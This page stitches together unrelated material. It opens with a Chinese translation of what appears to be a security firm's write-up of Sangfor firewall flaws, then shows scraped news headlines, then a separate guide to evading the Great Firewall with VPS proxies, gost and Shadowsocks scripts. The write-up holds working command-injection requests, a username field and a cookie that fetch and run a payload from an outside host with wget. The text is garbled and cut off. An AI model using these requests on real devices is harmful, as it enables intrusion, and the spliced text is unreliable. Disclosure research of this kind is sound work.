我們的新生活目標是編寫一個輸出到此錯誤消息的命令。通常情況下（我們喜歡這個詞），你會使用某種編碼來繞過「 「和mod_security的限制，但是在這個設備上沒有base64和xxd可用。為了繞過這個問題，我們採用了以下獲勝路徑：

在外部的HTTP伺服器上託管有效載荷
使用wget獲取有效載荷
通過source執行有效載荷 – 我們認為這比.更酷
用$(id)的值替換錯誤消息的內容

我們得到了這個令人驚嘆的截圖，展示了所有的一切：

請求：

POST /LogInOut.php HTTP/1.1
Host:
Cookie: PHPSESSID=2e01d2ji93utnsb5abrcm780c2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Connection: close
Content-Length: 625

type=logged&un=watchTowr;wget http://<host>/cmd.txt;source /virus/dcweb/webapps/cmd.txt&up=0f2df0a6f151e836c8ccd1c2ea3bfbdfb7bfa0d38d438942492bd8f28f3e92939319f932f2f2add6d0d484accdc4c28269b203c4dc77c1da941fa19dae017d44d6ea8cad2572e37c485a8ebcb4bdb510cc86420a50ae45ae07daf5fe9c40fe133f3806cd8f3158ee359766e8e19c9fbbf7e888bf0d7f3952f4d083bd17cd19eb960dadec2835f6f259616f5b2e5942d3a4d1754cbd69696fae60ef18358bf5782dd5ebf377f5642e0583e630660ccac241a615ae21bfc12852a32d0367a899eb010e5d1c33669fc2e9ea3a0ecbf078c22120196a115b4038288063bf99610d3d331acb53e5c8fbd14229a4abdff83cf075a7b97a9bb9dae3586f19256f4262d5&vericode=<correct captcha>

Cmd.txt負載：sed -i s/Lock/”$(id)”/g /virus/dcweb/conf/lang/eng.utf8.lang.app.php

響應：

HTTP/1.1 200 OK
Date: Thu, 05 Oct 2023 07:46:53 GMT
Server:
X-Frame-Options: SAMEORIGIN
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, proxy-revalidate, no-transform
Pragma: private, proxy-revalidate, no-transform
Vary: Accept-Encoding,User-Agent
Content-Length: 139
Connection: close
Content-Type: text/html

錯誤：uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)因登錄失敗次數過多而觸發。請在5分鐘后再試！

尋找兔子

雖然每個研究人員都夢想找到RCE，但發現這樣一個簡單的漏洞令人沮喪。人們可能會期望實現RCE需要一個美麗的2或3個漏洞鏈，使用授權繞過、PHP對象注入和各種其他花招。

你可以想象在這個設備中實現大RCE是多麼容易。

只是提醒一下，這是「世界上第一個具有全面保護功能的AI啟用和完全集成的NGFW（下一代防火牆）+ WAF（Web應用防火牆），由Neural-X和Engine Zero等創新技術提供支持」。

我們決定給這個設備第二次機會-也許一些野外的設備已經將85/TCP埠防火牆關閉，只開放了4433/TCP埠。這將給我們一個機會來構建一個更複雜的攻擊路徑，獲得更多的關注/互聯網積分。

在4433埠上，攻擊面略有不同，因為原生流通過C++ CGI文件進行身份驗證，而不是通過PHP進行身份驗證。我們曾考慮過花費我們的晚上在Ghidra分析它，但我們想到也許設計了85/TCP埠上的登錄PHP腳本的開發人員也開發了CGI模塊，也許…也許…

受到這個想法的啟發，我們嘗試了帶著pspy仍在運行的登錄流程。使用相同的原理，我們嘗試使用錯誤的用戶名登錄…哎呀，又執行了一個略有不同格式的shell命令。很明顯，Cookie PHPSESSIONID被用在一個echo命令中寫入臨時文件。

POST /cgi-bin/login.cgi HTTP/1.1
Host:
Cookie: PHPSESSID=2e01d2ji93utnsb5abrcm780c2
Content-Type: Application/X-www-Form
Connection: close
Content-Length: 113

{“opr”:”login”, “data”:{“user”: “watchTowr” , “pwd”: “watchTowr” , “vericode”: “Y92N” , “privacy_enable”: “0”}}

pspy捕獲到的信息：

CMD: UID=65534 PID=31595  | sh -c echo loginmain.cpp is_vericode_vaild 1982 get the file : /tmp/sess_2e01d2ji93utnsb5abrcm780c2 context is failed errno : No such file or directory >> /tmp/login.log

由於值是從Cookie中獲取的，我們無法注入分號來截斷命令（或對它們進行URL編碼）。相反，通過利用允許使用反引號的特性，我們可以創建自己的變數並在括弧內評估其內容。不幸的是，這裏沒有美麗的sed輸出可以使用，所以你只能滿足於一個超出範圍的請求

POST /cgi-bin/login.cgi HTTP/1.1
Host:
Cookie: PHPSESSID=`$(wget host)`;
Content-Type: Application/X-www-Form
Connection: close

{“opr”:”login”, “data”:{“user”: “watchTowr” , “pwd”: “watchTowr” , “vericode”: “EINW” , “privacy_enable”: “0”}}

糟糕，又是RCE。

只是提醒一下，這是「世界上第一個具有全面保護功能的AI啟用和完全集成的NGFW（下一代防火牆）+ WAF（Web應用防火牆），由Neural-X和Engine Zero等創新技術提供支持」。

房子總是贏的

在賭桌上積累了我們的漏洞籌碼后，我們聯繫了Sangfor的技術團隊準備兌現。

經過幾封激動人心的來回郵件后，我們沒有直接與安全團隊交流，而是通過技術支持與安全團隊交流。

Sangfor的團隊聲稱他們要麼已經完全意識到這些問題，並已經分發了補丁，要麼無法驗證我們的發現，稱之為「誤報」。也許我們被旁邊的玩家欺騙了，最終得到了未公開的N天。

無論如何，這很有趣。我們將讓你自己來推斷可能發生了什麼，或者可能沒有發生什麼。
結論

當賞金獵人、研究人員或滲透測試人員研究攻擊面以尋找漏洞時，通常默認認為防火牆和VPN等設備已經經過加固，通常是由於內部安全審查流程以及與其他企業的外部流程競爭。

編輯注：還有一個事實是，我猜他們都在這些設備上說「安全」和「安全」。

不用說，像上面演示的這樣的低級漏洞在2023年應該是不存在的，我們希望在這一年裡，發現真正有影響力的漏洞所需的投入已經大幅增加。我們希望這篇文章能改變這種心態-即使是一個入門級的攻擊性安全實驗室課程對於像這樣一個被廣泛使用的「下一代」產品來說也是非常相關的。

到目前為止，常規讀者應該已經很清楚，我們在watchTowr這裏喜歡挑戰這樣的「加固」設備。確實，有了這樣的漏洞，很難不感興趣-我們鼓勵所有對漏洞獵捕感興趣的人拿起他們最近的「下一代」或「企業級」防火牆或VPN終端，開始將其拆解。

對於網路防禦者來說，真正的教訓是我們不能假設這些加固設備真的是加固的。無論銷售人員告訴你什麼，沒有什麼能比得上網路分割和最小許可權原則。

如果您想了解更多關於watchTowr平台、我們的攻擊面管理和持續自動紅隊解決方案，請與我們聯繫。

時間表
日期                        細節

• 知名電子書網站疑似受中國防火牆阻攔 承諾將審核書目
• 思科警告稱其防火牆設備受到政府黑客入侵
• 【CDT報告匯】中國輸出數字極權，協助柬埔寨建立「防火牆」（外二篇）
• 再跪下去熱戰不可避免！專家：推倒中共防火牆 加關稅 限制籤證【兩岸要聞】
• 防火牆將包裹香港？TikTok停止在香港運行

• 法國猶太老闆：神告訴我們，只有一位中國人能救人類
• 華人必看：中華文化的颶風 幸福感無法描述
• 解鎖ChatGPT|全平台高速翻牆:高清視頻秒開,超低延遲
• 免費PC翻牆、安卓VPN翻牆APP

2023年9月13日    發現漏洞
2023年9月14日    請求Sangfor的安全聯繫人
2023年9月18日    收到安全聯繫人，向Sangfor披露
2023年9月18日    watchTowr在客戶的攻擊面中尋找受影響的系統，並與受影響的系統進行溝通。
2023年9月26日    Sangfor對每個項目做出回應：
– 身份驗證繞過- Sangfor認為是誤報
– 本地文件讀取-（內部已知問題-發布了補丁（在哪裡？））
– 命令注入-（內部已知問題-發布了補丁（在哪裡？））
– 源代碼泄露- Sangfor認為是誤報
– SSO用戶添加/SQLite注入- Sangfor認為是誤報
2023年10月5日    向公眾發布博文和PoC

0. 序

首先，我們先明確一下，我科學上網的目的主要是為了學習、工作、交友、查資料、和豐富自己的眼界，不是其它的事。

對我來說，科學上網很重要，下面羅列一下需要科學上網，我才能真正學習工作和生活的網站：

• Youtube 和 Vimeo 上的各種大會和教學視頻，除了我自己要學，我的孩子也要學。
• Wikipedia 維基百科是我目前唯一信得過的百科全書，我在上面可以比較系統地翻閱各種詞條。
• SlideShare 上有很多的技術文檔和資料的PPT，是我的知識學習的地方。
• Quora 問答網站，在上面有很多有趣的問答。
• 博客和論文，很多博客和論文站點都被牆了，比如：Blogspot 和 Medium。
• Google 的各種服務，比如：Gmail, Map, Docs，Driver，照片，圖片搜索，Voices，論文搜索……包括Google官方的各種技術文檔……
• 一些雲服務，比如：Dropbox，IFTTT，Imgur，archive.org……
• Twitter 上 Follow 一些牛人和一些官方賬號，比如：AWS、Docker……
• 社交 Facebook, Telegram, Whatsapp, Slack……，有一些我在國外的親戚和朋友……
• Reddit 是一個聚合網站，一個新聞和文章的集散地，你可以認為是各種頻道的今日頭條……
• Pinterest 和 Instagram 上面有很多不錯的圖片和視頻新聞，是我減壓力的地方……
• 新聞，如BBC。 BBC是全球比較出眾的媒體，有太多的有價值資源和內容了，比如紀錄片、學英文……
• 編程，有很多編程的場景需要翻牆，比如，Go語言編程時的 go get 中的很多庫是放在 Google的伺服器上，
  然而Google是全部被牆，包括 Android 和其它一些文檔和資源也是一樣。包括 SourceForge
  的某些項目也需要科學上網，Docker Registry也有部分被牆，還有偶爾抽風的Github，以及不能訪問的gist……
• ……等等

是的，我的互聯網不是——全是騙子的百度、充滿廣告的微信朋友圈、質量低下的公眾號、娛樂至死的新浪微博、只有抖機靈和「怎麼看XX」的知乎、毫無營養的今日頭條……
在這樣的網路空間里，我真的無法生存…… 這根本不是互聯網，不是為我服務的互聯網，而是在消費我的互聯網，是讓我變傻變笨的互聯網……
我不能忍，因為它影響到了我的生存……

推薦：

1. 英文能力

首先，你應該對英文讀寫沒什麼問題!

為什麼這麼說？這主要是針對計算機相關的知識，邏輯是這樣的，如果你上了Google還是在用中文關鍵詞，那麼你好不容易出來了，結果又回去了，所以沒什麼意義。 換言之，科學上網的目的是為了進入廣闊的世界範圍與全世界的人交流，所以，英文是必備的，如果你英文有問題，VPN過去的用處也不大。

所以，我把這個前提條件放在第一的位置，就是說—— 真正的牆不是GFW，而是人的大腦！ 意思是，屏蔽你獲得信息能力的不是牆，而很大一部分則是我們自己的語言能力！

2. 購買VPS

然後，你需要一個VPS。 在這裏，強烈建議通過自建的方式，可能成本會比託管的「機場」要高一些，而且還很麻煩，但是，在安全性方面會比較好一些。自己動手，自力更生，讓人有更多的安全感。

（注：當然，你也可以直接購買一些科學上網的服務，但我這裏不推薦了，一方面是廣告，另一方面通常這樣的服務非常的不穩定，而且也容易被代理方做中間人攻擊）

現在你買一台VPS也不貴了，也就是一個月10美金左右（70元），我個人覺得一個月花70元錢不算奢侈的事，而且會讓你的生活質量得得改善。當然，線路好的得需要多花一些錢。。

（注：我現在每個月投入在科學上網上的成本大概在不到500元人民幣左右，常備3-5個不同國家的VPS，因為國內的網路路由經常性的變化，所以，為了確保總是有一條快的，所以，得多備幾個）。

2.1 常規VPS

對於 VPS，下面是一些常規選項。

• AWS LightSail 是一個非常便宜好用的服務，最低配置一個月 $3.5 美金，流量不限，目前的Zone不多，推薦使用日本，新加坡或美國俄勒岡（支持銀聯卡）。現對 2021/8/7 之後使用 Lightsail 的用戶提供3個月的免費試用。
• AWS EC2香港、日本或韓國申請個免費試用一年的EC2 VPS （支持銀聯卡）
• Google Cloud Platform提供免費試用，贈送300刀贈金（需要國際信用卡）
• Linode買個一月USD5刀的VPS
• Conoha上買一個日本的VPS，一個月900日元 （可以支付寶）
• Vultr上買一個日本的VPS，一個月5刀 （可以支付寶）(注：據說被牆的IP太多）
• Oracle Cloud兩台VPS無限期使用，可選美日韓等地（需要國際信用卡）

注意

• 在中國，因為有太多的網路提供商，所以，國內的網路也是很奇葩的，可以看到的是，不同的地方，不同的網路，到不同的國家完全不一樣，而且還經常性地調整路由，所以，經常性地有時候快有時候慢，簡直就是隨機的。所以，像我這樣要求比較高的人，一般會備3-5個不同國家地區的VPS，以保障上網的速度。
• 香港網速應該是比較好的，但是香港的成本也是比較高的。台灣的網速也是不錯的，日本的網速其次，新加坡再次之，然後是美國的東海岸。但是，因為線路的問題，如果沒有為中國區優化的線路，丟包率是非常大的，日本區
  ping 值雖然很低，但是經常性的丟包，好的線路的美國的 ping 值雖然大，但是也會飛快。
• 日本區的網路質量並不一定很好，有時候快的飛快，但有時候會有很大的丟包率（不同的網路不一樣），有時候會很慢。上述的這幾個VPS服務商中，AWS韓國和日本會好點，然後是 Linode，最後是 Vultr（如果你有更好的，請推薦）
• Google Cloud Platform – GCP 的香港和台灣節點也是很快的。但是你要能買GCP的主機，你還得先翻牆，所以，感覺有點死鎖了。所以，你可能先用 Vultr（按時付費）翻牆，然後再到GCP上購買。

2.2 CN2 線路

如果你需要更好更高速的網路服務（比如你要看 Youtube 的 1080P），那麼，你需要下面的這些伺服器資源了（價格也會高一些）

CN2 和 GIA 是兩個關鍵詞。CN2 GIA 全稱 China telecom Next Carrier Network- Global Internet Access 電信國際精品網路，特徵是路由線路上骨幹節點均為59.43開頭的IP。如果想要尋找接入CN2線路的國外VPS提供商，建議使用 Next Carrier Network 或者 CN2 這個關鍵詞搜索即可。

多說一句， CN2本身又分為兩種類型：

• CN2 GT: CN2 里屬於Global Transit的產品(又名GIS-Global Internet Service)，在CN2里等級低，省級/出國節點為 202.97 開頭，國際骨幹節點有2～4個 59.43 開頭的CN2節點。在出國線路上擁堵程度一般，相對於163骨幹網的稍強，相比CN2 GIA，性價比也較高。
• CN2 GIA: CN2 里屬於Global Internet Access的產品，等級最高，省級/出國/國際骨幹節點都以59.43開頭，全程沒有202.97開頭的節點。在出國線路上表現最好，很少擁堵，理論上速度最快最穩定，當然，價格也相對 CN2 GT 偏高。

關於 CN2 線路的主機提供商，好些都不靠譜，只推薦下面兩個，首推搬瓦工。

• 搬瓦工 這應該是美區最好的一個用來科學上網的VPS提供商了，實測飛快。購買時你需要注意VPS規格上的 CN2 和 GIA 的描述。（注：點擊主頁右上角的 regisiter 以後，你可以看到頁面上方有兩個導航條，在下面的導航條上點 Services -> Order New Services 就可以看到所有的列表了。買完后，你可能需要重裝一下操作系統，裝成64位帶BBR的 ）
• Hostdare 的 CN2 GIA 產品也是三網直連，KVM 和 OpenVZ 兩種架構，KVM 產品長期缺貨

更多的可以參考這篇文章《CN2 GIA VPS主機收集整理匯總-電信,聯通,移動三網CN2 GIA線路VPS主機》（注：隨時間推移，這篇文章的內容可能會失效）

重點說一下，CN2 GIA + 香港機房，你會得到巨快無比的上網速度（無論你在中國的哪個位置，無論使用哪家運營商，CN2
GIA都是最優的），然而，香港地區的VPS的確是有點貴了。在Youtube.com上看 4K
的視頻毫無壓力。雖然阿里雲和騰訊的也有，但是被查到的風險基本上是100%，不建議使用，被抓了別怪我沒警告過你。

2.3 NCP 線路

NCP 全稱 New Cross Pacific（新跨太平洋海底光纜系統）。
2018年11月底，中國到美國之間的海底光纜新開通了NCP線路，並且容量更大（系統設計容量超過80Tbps），路由更少（中國上海到美國中間路由節點只有11個，ping值110ms）。

NCP線路全長13,000公里，連接美國俄勒岡州希爾斯伯勒，連接崇明（中國大陸），南匯（中國大陸），臨港（中國大陸），釜山（韓國），頭城（台灣），和丸山（日本）。

相對於第二條中美直達海底光纜系統（跨太平洋快線，TPE），現階段NCP線路的網路流量更少更穩定。特徵是華東/中地區流量會經過NCP直達路由節點，IP地址為202.97.95.201/202。

關於 NCP 線路的主機提供商，下面羅列兩個（歡迎補充）

• 50KVM VPS 截止2018年12月2日KVM 產品最低價格￥81.60/月。
• OLVPS 截止2018年12月2日KVM 產品最低價格￥22/月。（特別注意 ： 在 OLVPS 上的《服務條款》 中有一條說明：「禁止OpenVPN/Socks5/PPTP/L2TP等軟體、公共代理」，所以，可能OLPVS並不太適合）

3. 搭建相關代理服務

注：如下的搭建和安裝腳本可參看本庫的 scripts 目錄下的腳本，如： Ubuntu 18.04 Installation Script （感謝網友 @gongzili456 開發）

3.1 設置Docker服務

首先，你要安裝一個Docker CE 服務，這裏你要去看一下docker官方的安裝文檔：

• CentOS 上的 Docker CE 安裝
• Ubuntu 上的 Docker CE 安裝

然後開始設置你的VPN/SS服務

3.2 開啟 TCP BBR 擁塞控制演算法

TCP BBR（Bottleneck Bandwidth and Round-trip propagation
time）是由Google設計，於2016年發布的擁塞演算法。以往大部分擁塞演算法是基於丟包來作為降低傳輸速率的信號，而BBR則基於模型主動探測。該演算法使用網路最近出站數據分組當時的最大帶寬和往返時間來創建網路的顯式模型。數據包傳輸的每個累積或選擇性確認用於生成記錄在數據包傳輸過程和確認返回期間的時間內所傳送數據量的採樣率。該演算法認為隨著網路介面控制器逐漸進入千兆速度時，分組丟失不應該被認為是識別擁塞的主要決定因素，所以基於模型的擁塞控制演算法能有更高的吞吐量和更低的延遲，可以用BBR來替代其他流行的擁塞演算法，例如CUBIC。Google在YouTube上應用該演算法，將全球平均的YouTube網路吞吐量提高了4%，在一些國家超過了14%。

BBR之後移植入Linux內核4.9版本，並且對於QUIC可用。

如果開啟，請參看 《開啟TCP BBR擁塞控制演算法 》

3.3 用 Gost 設置 HTTPS 服務

gost 是一個非常強的代理服務，它可以設置成 HTTPS 代理，然後把你的服務偽裝成一個Web伺服器，我感覺這比其它的流量偽裝更好，也更隱蔽。這也是這裏強烈推薦的一個方式。

為了更為的隱蔽，你需要一個域名（可以上 GoDaddy，但一定要使用美國版），然後使用 Let’s Encrypt 來簽 一個證書。使用 Let’s Encrypt 證書你需要在伺服器上安裝一個 certbot，點擊 certbot 這個鏈接，你可以選擇你的伺服器，操作系統，然後就跟著指令走吧。

接下來，你需要申請一個證書（我們使用standalone的方式，然後，你需要輸入你的電子郵件和你的域名）：

$ sudo certbot certonly –standalone

證書默認生成在 /etc/letsencrypt/live/<YOUR.DOMAIN.COM/> 目錄下，這個證書90天後就過期了，所以，需要使用一個 cron job 來定期更新（稍後給出）

接下來就是啟動 gost 服務了，我們這裏還是使用 Docker 的方式建立 gost 伺服器。

#!/bin/bash

# 下面的四個參數需要改成你的
DOMAIN=”YOU.DOMAIN.NAME”
USER=”username”
PASS=”password”
PORT=443

BIND_IP=0.0.0.0
CERT_DIR=/etc/letsencrypt
CERT=${CERT_DIR}/live/${DOMAIN}/fullchain.pem
KEY=${CERT_DIR}/live/${DOMAIN}/privkey.pem
sudo docker run -d –name gost \
-v ${CERT_DIR}:${CERT_DIR}:ro \
–net=host ginuerzh/gost \
-L “http2://${USER}:${PASS}@${BIND_IP}:${PORT}?cert=${CERT}&key=${KEY}&probe_resist=code:404&knock=www.google.com”

上面這個腳本，你需要配置：域名(DOMAIN), 用戶名 (USER), 密碼 (PASS) 和 埠號(PORT) 這幾個變數。

關於 gost 的參數， 你可以參看其文檔：Gost Wiki，上面我設置一個參數 probe_resist=code:404 意思是，如果伺服器被探測，或是用瀏覽器來訪問，返回404錯誤，也可以返回一個網頁（如：probe_resist=file:/path/to/file.txt 或其它網站 probe_resist=web:example.com/page.html）

注意：開啟了探測防禦功能后，當認證失敗時伺服器默認不會響應 407 Proxy Authentication Required，但某些情況下客戶端需要伺服器告知代理是否需要認證(例如Chrome中的 SwitchyOmega 插件)。通過knock參數設置伺服器才會發送407響應。對於上面的例子，我們的knock參數配置的是www.google.com，所以，你需要先訪問一下 https://www.google.com 讓服務端返回一個 407 后，SwitchyOmega 才能正常工作。

注意：如果認證信息（也就是用戶名和密碼）中包含特殊字元，則可以（應該是必須！否則客戶端一側會有很多不兼容）通過auth參數來設置，下面是使用 auth 參數的例子（注意，需要 gost 在 2.9.2+ 以上版本）：

DOMAIN=”YOU.DOMAIN.NAME”
USER=”username”
PASS=”password”
PORT=443
AUTH=$(echo -n ${USER}:${PASS} | base64)

BIND_IP=0.0.0.0
CERT_DIR=/etc/letsencrypt
CERT=${CERT_DIR}/live/${DOMAIN}/fullchain.pem
KEY=${CERT_DIR}/live/${DOMAIN}/privkey.pem
sudo docker run -d –name gost \
-v ${CERT_DIR}:${CERT_DIR}:ro \
–net=host ginuerzh/gost \
-L “http2://${BIND_IP}:${PORT}?auth=${AUTH}&cert=${CERT}&key=${KEY}&probe_resist=code:404&knock=www.google.com”

如無意外，你的服務就啟起來了。你可以使用下面的命令驗證你的 gost 服務是否正常。

curl -v “https://www.google.com” –proxy “https://DOMAIN” –proxy-user ‘USER:PASS’

接下來就是證書的自動化更新。

可以使用命令 crontab -e 來編輯定時任務：

0 0 1 * * /usr/bin/certbot renew –force-renewal
5 0 1 * * /usr/bin/docker restart gost

這樣，伺服器就配置完成了。客戶端請移動後面的客戶端章節。

使用 Cloudflare 的注意事項

上述的方法並不支持 Cloudflare CDN，如果你想使用了 Cloudflare CDN，你需要使用 WebSocket 協議，如下所示，你需要使用 mwss 協議。

gost -L=mwss://username:password@:443?cert=/path/to/your/cert/file\&key=/path/to/your/key/file

在 CloudFlare 上，請將TLS/SSL設置為 完全

如果你的客戶端只能使用 socks 協議，你還要在客戶端這邊轉一下：

gost -L socks://:YourLocalPort -F mwss://username:[email protected]:443

然後在其他軟體中設置socks5代理即可

3.4 設置 ShadowSocks 服務

（注：ShadowSocks 被查的機率非常大，不推薦使用）

（如果有隧道轉發，可以使用）

ShadowSocks 的 Docker 啟動腳本 （其中的 SS_PORT 和 SS_PASSWD 需要重新定義一下）

#!/bin/bash

SS_PORT=1984
SS_PASSWD=MyPasswd

sudo docker run -dt –name ss \
-p ${SS_PORT}:${SS_PORT} mritd/shadowsocks \
-s “-s 0.0.0.0 -p ${SS_PORT} -m aes-256-cfb -k ${SS_PASSWD} –fast-open”

3.5 設置L2TP/IPSec服務

（注：VPN方式被查的機率非常大，不推薦使用）

L2TP/IPSec 的啟動腳本，其中的三個環境變數 USER， PASS 和 PSK 需要替換一下。

#!/bin/bash

USER=someone
PASS=password
PSK=psk_key

sudo docker run -d –privileged \
-e PSK=${PSK} \
-e USERNAME=${USER} -e PASSWORD=${PASS} \
-p 500:500/udp \
-p 4500:4500/udp \
-p 1701:1701/tcp \
-p 1194:1194/udp \
siomiz/softethervpn

3.6 設置 PPTP 服務

（注：PPTP 不安全，請不要使用）

sudo docker run -d –privileged –net=host
-v {/path_to_file/chap-secrets}:/etc/ppp/chap-secrets \
mobtitude/vpn-pptp

PPTP 使用 /etc/ppp/chap-secrets 文件設置用戶名和密碼，所以你需要給docker容器提供這個文件，下面是這個文件的示例：

# Secrets for authentication using PAP
# client server secret acceptable local IP addresses
fuckgfw * whosyourdaddy *

4. 客戶端設置

4.1 gost 客戶端

大多數的代理服務都支持 https 的代理，但是我們需要智能代理（也就是該翻的時候翻，不用翻的時候不翻），那麼我們可以重用 ShadowSocks 的客戶端。

對於電腦來說，你同樣可以 下載 gost 程序，然後使用下面的命令行：

gost -L ss://aes-128-cfb:passcode@:1984 -F ‘https://USER:PASS@DOMAIN:443’

這樣用 gost 在你的本機啟動了一個 ShadowSocks 的服務，然後，把請求轉到你在上面配置的 HTTPS伺服器上，這樣就完成轉接。

┌─────────────┐ ┌─────────────┐ ┌─────────────┐
│ ShadowSocks │ │ │ │ │
│ Client ├──? Gost Client ├────────────? Gost Server │
│ (PAC Auto) │ │ │ │ │
└─────────────┘ └─────────────┘ └─────────────┘

ShadowSocks Client 主要完成：自動設置操作系統代理伺服器的 pac （自動設置翻牆或是不翻牆的路由）

這樣，你的ShadowSocks客戶端只需要簡單的配置一個本機的 SS 配置就好了。

對於手機端

• iPhone，可以考慮使用 ShadowRocket （需要付費），其中使用 HTTPS 的代理，配置上就好了。
• Android，可以考慮使用這個Plugin – ShadowsocksGostPlugin

註明：如果你之前使用了Chrome插件 SwitchyOmega，如果無法直接配置HTTPS代理，具體原因可能是因為你設置了probe_resist以開啟探測防禦功能。這裏，你需要在伺服器端設置 knock 參數（參看 用 Gost 設置 HTTPS 服務 中的「注意」一節 ）

或是，乾脆使用gost客戶端在本機啟動一個 SOCKS5的代理服務用來代替（gost -L socks5://:1080 -F ‘https://USER:PASS@DOMAIN:443’），然後在 SwitchyOmega 配置代理為’127.0.0.1:1080’即可。比如:

4.2 Shadowsocks 客戶端

對於 Shadowsocks 客戶端，可以到這裏查看 Shadowsocks Clients

• MacOS 上你可以下載 ShadowsocksX-NG
• Windows上你可以下載 Shadowsocks-Windows，需要先安裝 .NET Framework
• Android的客戶端，你可以用手機訪問並下載 Shadowsocks-Android
• iPhone 端就比較麻煩了。因為國內全都被下架了。
  1. 你需要註冊一個美國的蘋果ID.
  2. 然後 iTunes/App Store 用這個美區的ID登錄（不是退出iCloud ，而是退出App Store）
  3. 然後搜索 Potatso Lite ，ShadowRocket, Wingy, Quantumult 等。（我使用前兩個）

注意

• 關於如何註冊美區Apple ID賬號，你可以參看如下的這幾篇文章（我不保證這些文章可不可用，但是你可以自行Google）。
  • 5分鐘註冊美國區Apple ID（18年親測有效）
  • 2018年6月親測：註冊美國地區蘋果apple ID帳號終極教程
  • iOS開發之註冊美國Apple Id不需要綁定信用卡，親測可用

4.3 VPN 客戶端

對於L2TP/IPSec，幾乎所有的客戶端操作系統（無論是Windows/Mac/Linux的電腦，還是iPhone/Android）都支持，你可以自行Google。

• Mac OS X PPTP/L2TP設置教程
• Windows 7操作系統配置L2TP VPN方法

5. 流量偽裝和其它方式

無論你用VPN，SS，SSR，都有可能被識別，只有使用 HTTP over TLS 的樣子，才會跟正常的流量混在一起，很難被識別，所以，目前來說，V2Ray客戶端
+ Nginx +
V2Ray服務端的方式，或是gost的HTTPS的方式，基本上來說，在網路四層上看到的都是TLS的包，很難被識別。這種代理服務我覺得只能做探測，或是得到更多的算力來做統計學分析。所以，V2Ray
和 gost 的伺服器端用 nginx 再擋一道，那麼就很難被發現了。

注： 說句老實話，我其時並不想害怕別人知道自己的上什麼樣的網站，因為我覺得我訪問的都是合法的網站，但是就今天這個局勢我也沒辦法——為什麼要讓像我這樣的光明正大的良民搞得跟偷雞摸狗之徒一樣……

5.1 V2Ray

V2Ray 可以配置成一個非常隱蔽的代理軟體。

• V2Ray 用戶手冊：https://www.v2fly.org
• V2Ray 項目地址：https://github.com/v2fly/v2ray-core

一般來說，祼用 V2Ray 不是一個很好的方式，現在比較流行的是使用nginx來代理，也就是 V2Ray + WebSocket + TLS + Nginx，可以參看這篇文章《V2Ray+WebSocket+TLS+Nginx配置與使用教程》（需要翻牆）。

我個人覺得，配置起來比較複雜，而且環節太多，不如直接用 gost 的 https/http2 的方式配置起來簡單，所以，沒有放在前面。

5.2 Brook

Brook是一個由 Go語言編寫的跨平台代理軟體，支持 Linux/MacOS/Windows/Android/iOS 各個平台。

• Brook Github項目：https://github.com/txthinking/brook
• Github Wiki教程：https://github.com/txthinking/brook/wiki/使用說明(中文)

伺服器一行命令安裝：

wget -N –no-check-certificate https://raw.githubusercontent.com/ToyoDAdoubi/doubi/master/brook.sh && chmod +x brook.sh && bash brook.sh

運行 brook.sh 會出菜單項，你可以按菜單項來，主要就是設置埠號，密碼。很簡單的，我這裏就不截圖了，因為這個腳本運行起來中文菜單式的。

然後你可以在 Brook 項目的 Github 首頁上下載不同平台的客戶端。設置起來也很簡單！

注意: 如果運行出現下載錯誤，可能是因為brook的下載文件名問題，你需要自己修改一下腳本：

Download_brook(){
[[ ! -e ${file} ]] && mkdir ${file}
cd ${file}
if [[ ${bit} == “x86_64” ]]; then
– wget –no-check-certificate -N “https://github.com/txthinking/brook/releases/download/${brook_new_ver}/brook”
+ wget –no-check-certificate -N “https://github.com/txthinking/brook/releases/download/${brook_new_ver}/brook_linux_amd64”
+ mv brook_linux_amd64 brook
else
wget –no-check-certificate -N “https://github.com/txthinking/brook/releases/download/${brook_new_ver}/brook_linux_386”
mv brook_linux_386 brook
fi

6. 針對 IP 被封的解決方案

花錢購買的 VPS 即便做了流量偽裝依然有很大的幾率 IP 被封鎖，大多 VPS 服務商並不提供更換 IP 的服務，使用 CDN 可以讓被封鎖的 VPS 繼續發揮翻牆功能。

6.1 Cloudflare

Cloudflare 是一個 CDN 服務商，目前國內依然能正常的訪問，可以作為跳板來實現翻牆。

註冊 Cloudflare 帳號，並有一個空閑域名（三級域名即可），交給 Cloudflare 託管並將域名指向被封的 VPS IP，注意開啟 Proxied 並且 SSL-TLS 使用 Flexible 選項。

Cloudflare 只需免費方案足以，不必花錢。

關於優選IP，可以手動更改本地hosts文件指向最佳IP。

6.2 V2Ray

VPS 上正常安裝並配置好 V2Ray，注意兩點:

1. 傳輸協議必須要使用 ws
2. 要使用 80 或者 8080 埠

如果埠有其他用途，那麼用 Nginx/Caddy 之類軟體，做一個 WebSocket proxy 到 V2Ray 即可。

6.3 補充

客戶端注意使用網址來連接。

目前支持 WebSocket 的免費 CDN 似乎只有 Cloudflare 一家，國內 CDN 服務商既不支持也不安全，不要考慮了。如果有更好的服務商歡迎補充。

網路延遲比直連增加不少，如果是頻繁操作會很痛苦。網路帶寬如果運氣好可能比直連還優化了，用來看 Youtube 搞不好更流暢。

7. 家用透明網關

7.1 OpenWRT 路由器

所謂透明網關的意思是，一切都交給網關來做。最好的方式是你需要一個 OpenWRT 的路由器，推薦使用華碩的路由器，貴是貴一些，但是這幾年用下來，非常不錯。我用的是 華碩（ASUS） RT-AC68U 1900M AC 雙頻智能無線路由路 。

路由器買來后，要刷一下固件。首先 Asuswrt 是華碩公司為他的路由器所開發的固件。Asuswrt-merlin是一個對Asuswrt固件二次開發進行各種改進和修正的項目。源代碼在這裏：https://github.com/RMerl/asuswrt-merlin

不必擔心把路由器刷廢了，華碩的路由器可以讓你一鍵重置回來

1）下載固件。先到 https://asuswrt.lostrealm.ca/download 下載相應的固件，並解壓。（我下載的是 RT-AC68U_380.61_0.zip ）

2）升級固件。登錄到你的路由器後台 http://192.168.1.1/ ，在 系統管理 -> 固件升級 中上傳固件文件（我上傳的是：RT-AC68U_380.61_0.trx）

3）打開 JFFS 分區。系統管理 -> 系統設置 -> Persistent JFFS2 partition

• Format JFFS partition at next boot – 否
• Enable JFFS custom scripts and configs – 是

4）打開 ssh 登錄。 系統管理 -> 系統設置 -> SSH Daemon

• Allow SSH password login – 是

接下來，在 WiFi 路由器上安裝 Clash，就可以了。

大概的示意圖如下所示。

Phone/PC/Pad （無需設置）
│
│
│ 1
│
┌────────▼──────┐
│ │
│ WiFi Router │ （安裝 Clash 網關）
│ │
